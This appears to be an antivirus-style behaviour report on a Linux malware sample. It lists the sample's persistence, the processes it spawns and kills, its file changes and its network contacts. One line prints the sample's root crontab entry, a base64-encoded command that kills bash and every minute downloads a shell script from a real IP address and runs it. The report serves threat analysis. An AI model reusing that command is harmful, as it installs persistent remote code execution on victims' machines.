Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /var/spool/cron/crontabs/root
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
- ixkusiln
Launches processes:
- sh -c /var/tmp/kodudumx ntfr &
- sh -c /var/tmp/mjqwpdpu &
- sh -c /var/tmp/htgqcrul wwwy &
- sh -c echo '* * * * * echo -n \"IHBraWxsIC05IGJhc2ggOyB3Z2V0IC1PIC0gaHR0cDovLzE2NC4xMzIuMTU5LjU2L2RydXBhbC9wLnNofHNoIA==\" | base64 -d |sh > /dev/null' | crontab -;
- /var/tmp/htgqcrul wwwy
- crontab -
- sh -c /var/tmp/jcpvmtgx uvvk &
- /var/tmp/jcpvmtgx uvvk
- sh -c /var/tmp/pdfckwvq jsxk &
- /var/tmp/pdfckwvq jsxk
- sh -c /var/tmp/csnqhkpq &
- sh -c /var/tmp/ibndvbem dinn &
- /var/tmp/ibndvbem dinn
- sh -c /var/tmp/vbuflthm eldl &
- /var/tmp/vbuflthm eldl
- sh -c /var/tmp/mkspwnfv &
- sh -c /var/tmp/ksfmrkqo kmkm &
- /var/tmp/ksfmrkqo kmkm
Kills the following processes:
- /bin/sh
- Unknown process with PID: 715
- cron
- /var/tmp/pdfckwvq
- exim4
Performs operations with the file system:
Modifies file access rights:
- /var/tmp/kodudumx
- /var/tmp/mjqwpdpu
- /var/tmp/htgqcrul
- /var/spool/cron/crontabs/tmp.LTD0K4
- /var/tmp/jcpvmtgx
- /var/tmp/pdfckwvq
- /var/tmp/csnqhkpq
- /var/tmp/ibndvbem
- /var/tmp/vbuflthm
- /var/tmp/mkspwnfv
- /var/tmp/ksfmrkqo
Creates or modifies files:
- /var/tmp/kodudumx
- /var/tmp/mjqwpdpu
- /var/tmp/htgqcrul
- /var/tmp/www
- /var/spool/cron/crontabs/tmp.LTD0K4
- /var/tmp/jcpvmtgx
- /var/tmp/pdfckwvq
- /var/tmp/csnqhkpq
- /var/tmp/ibndvbem
- /var/tmp/vbuflthm
- /var/tmp/mkspwnfv
- /var/tmp/ksfmrkqo
Deletes files:
- /var/tmp/kodudumx
- /var/tmp/mjqwpdpu
- /var/tmp/htgqcrul
- /var/tmp/jcpvmtgx
- /var/tmp/pdfckwvq
- /var/tmp/csnqhkpq
- /var/tmp/ibndvbem
- /var/tmp/vbuflthm
- /var/tmp/mkspwnfv
- /var/tmp/ksfmrkqo
Locks files:
- /var/tmp/www
Network activity:
Establishes connection:
- <LOCAL_DNS_SERVER>
- 18#.##6.24.82:443
DNS ASK:
- ww#.#ransfer.sh
Sends data to the following servers:
- 18#.##6.24.82:443
Receives data from the following servers:
- 18#.##6.24.82:443
